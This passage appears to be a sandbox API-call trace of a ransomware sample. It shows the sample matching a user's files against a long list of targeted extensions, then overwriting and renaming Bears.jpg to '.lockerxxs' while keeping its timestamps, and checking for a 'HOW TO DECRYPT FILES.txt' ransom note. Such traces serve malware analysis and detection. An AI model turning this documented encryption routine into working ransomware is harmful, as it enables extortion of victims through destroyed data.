returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0084.958] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0084.958] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0084.958] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0084.958] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Bears.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.ems") returned 0 [0084.958] lstrlenA (lpString="*.ems") returned 5 [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.db") returned 0 [0084.958] lstrlenA (lpString="*.db") returned 4 [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.dbf") returned 0 [0084.958] lstrlenA (lpString="*.dbf") returned 5 [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.myox") returned 0 [0084.958] lstrlenA (lpString="*.myox") returned 6 [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.myo") returned 0 [0084.958] lstrlenA (lpString="*.myo") returned 5 [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qbw") returned 0 [0084.958] lstrlenA (lpString="*.qbw") returned 5 [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qbb") returned 0 [0084.958] lstrlenA (lpString="*.qbb") returned 5 [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qbm") returned 0 [0084.958] lstrlenA (lpString="*.qbm") returned 5 [0084.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qbo") returned 0 [0084.959] lstrlenA (lpString="*.qbo") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qbx") returned 0 [0084.959] lstrlenA (lpString="*.qbx") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qba") returned 0 [0084.959] lstrlenA (lpString="*.qba") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qby") returned 0 [0084.959] lstrlenA (lpString="*.qby") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qbj") returned 0 [0084.959] lstrlenA (lpString="*.qbj") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.ofx") returned 0 [0084.959] lstrlenA (lpString="*.ofx") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.qif") returned 0 [0084.959] lstrlenA (lpString="*.qif") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.mye") returned 0 [0084.959] lstrlenA (lpString="*.mye") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.mbox") returned 0 [0084.959] lstrlenA (lpString="*.mbox") returned 6 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.eml") returned 0 [0084.959] lstrlenA (lpString="*.eml") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.pst") returned 0 [0084.959] lstrlenA (lpString="*.pst") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.ost") returned 0 [0084.959] lstrlenA (lpString="*.ost") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.idx") returned 0 [0084.959] lstrlenA (lpString="*.idx") returned 5 [0084.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.dbx") returned 0 [0084.959] lstrlenA (lpString="*.dbx") returned 5 [0084.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.sql") returned 0 [0084.960] lstrlenA (lpString="*.sql") returned 5 [0084.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.mdb") returned 0 [0084.960] lstrlenA (lpString="*.mdb") returned 5 [0084.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.fdb") returned 0 [0084.960] lstrlenA (lpString="*.fdb") returned 5 [0084.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.wab") returned 0 [0084.960] lstrlenA (lpString="*.wab") returned 5 [0084.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.dat") returned 0 [0084.960] lstrlenA (lpString="*.dat") returned 5 [0084.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.txt") returned 0 [0084.960] lstrlenA (lpString="*.txt") returned 5 [0084.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.jpeg") returned 0 [0084.960] lstrlenA (lpString="*.jpeg") returned 6 [0084.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", pszSpec="*.jpg") returned 1 [0084.960] lstrlenA (lpString="*.jpg") returned 5 [0084.960] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" [0084.960] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" [0084.960] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg." [0084.960] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.lockerxxs" [0084.960] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0084.962] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x432 [0084.962] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa352261, dwHighDateTime=0x1c9ea0c)) returned 1 [0084.962] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.962] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x40c, lpOverlapped=0x0) returned 1 [0084.964] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned="Bears.jpg" [0084.964] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.964] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x40c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x40c, lpOverlapped=0x0) returned 1 [0084.965] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.965] CloseHandle (hObject=0x98) returned 1 [0084.965] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.lockerxxs")) returned 1 [0084.966] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x27000324, dwReserved1=0x4e00c4, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0084.966] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0084.966] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Desktop.ini") returned 1 [0084.966] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Desktop.ini") returned 1 [0084.966] lstrcmpiA (lpString1="", lpString2="Desktop.ini") returned -1 [0084.966] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned="Bears.jpg" [0084.966] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0084.966] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0084.966] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0084.966] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0084.966] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" [0084.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.ems") returned 0 [0084.966] lstrlenA (lpString="*.ems") returned 5 [0084.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.db") returned 0 [0084.966] lstrlenA (lpString="*.db") returned 4 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.dbf") returned 0 [0084.967] lstrlenA (lpString="*.dbf") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.myox") returned 0 [0084.967] lstrlenA (lpString="*.myox") returned 6 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.myo") returned 0 [0084.967] lstrlenA (lpString="*.myo") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qbw") returned 0 [0084.967] lstrlenA (lpString="*.qbw") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qbb") returned 0 [0084.967] lstrlenA (lpString="*.qbb") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qbm") returned 0 [0084.967] lstrlenA (lpString="*.qbm") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qbo") returned 0 [0084.967] lstrlenA (lpString="*.qbo") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qbx") returned 0 [0084.967] lstrlenA (lpString="*.qbx") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qba") returned 0 [0084.967] lstrlenA (lpString="*.qba") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qby") returned 0 [0084.967] lstrlenA (lpString="*.qby") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qbj") returned 0 [0084.967] lstrlenA (lpString="*.qbj") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.ofx") returned 0 [0084.967] lstrlenA (lpString="*.ofx") returned 5 [0084.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.qif") returned 0 [0084.968] lstrlenA (lpString="*.qif") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.mye") returned 0 [0084.968] lstrlenA (lpString="*.mye") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.mbox") returned 0 [0084.968] lstrlenA (lpString="*.mbox") returned 6 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.eml") returned 0 [0084.968] lstrlenA (lpString="*.eml") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.pst") returned 0 [0084.968] lstrlenA (lpString="*.pst") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.ost") returned 0 [0084.968] lstrlenA (lpString="*.ost") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.idx") returned 0 [0084.968] lstrlenA (lpString="*.idx") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.dbx") returned 0 [0084.968] lstrlenA (lpString="*.dbx") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.sql") returned 0 [0084.968] lstrlenA (lpString="*.sql") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.mdb") returned 0 [0084.968] lstrlenA (lpString="*.mdb") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.fdb") returned 0 [0084.968] lstrlenA (lpString="*.fdb") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.wab") returned 0 [0084.968] lstrlenA (lpString="*.wab") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.dat") returned 0 [0084.968] lstrlenA (lpString="*.dat") returned 5 [0084.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.txt") returned 0 [0084.969] lstrlenA (lpString="*.txt") returned 5 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.jpeg") returned 0 [0084.969] lstrlenA (lpString="*.jpeg") returned 6 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.jpg") returned 0 [0084.969] lstrlenA (lpString="*.jpg") returned 5 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.png") returned 0 [0084.969] lstrlenA (lpString="*.png") returned 5 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.php") returned 0 [0084.969] lstrlenA (lpString="*.php") returned 5 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.cs") returned 0 [0084.969] lstrlenA (lpString="*.cs") returned 4 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.cpp") returned 0 [0084.969] lstrlenA (lpString="*.cpp") returned 5 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.rar") returned 0 [0084.969] lstrlenA (lpString="*.rar") returned 5 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.zip") returned 0 [0084.969] lstrlenA (lpString="*.zip") returned 5 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.html") returned 0 [0084.969] lstrlenA (lpString="*.html") returned 6 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.htm") returned 0 [0084.969] lstrlenA (lpString="*.htm") returned 5 [0084.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.xlsx") returned 0 [0084.969] lstrlenA (lpString="*.xlsx") returned 6 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.xls") returned 0 [0084.970] lstrlenA (lpString="*.xls") returned 5 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.mp4") returned 0 [0084.970] lstrlenA (lpString="*.mp4") returned 5 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.ppt") returned 0 [0084.970] lstrlenA (lpString="*.ppt") returned 5 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.pptx") returned 0 [0084.970] lstrlenA (lpString="*.pptx") returned 6 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.doc") returned 0 [0084.970] lstrlenA (lpString="*.doc") returned 5 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", pszSpec="*.dot") returned 0 [0084.970] lstrlenA (lpString="*.dot") returned 5 [0084.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 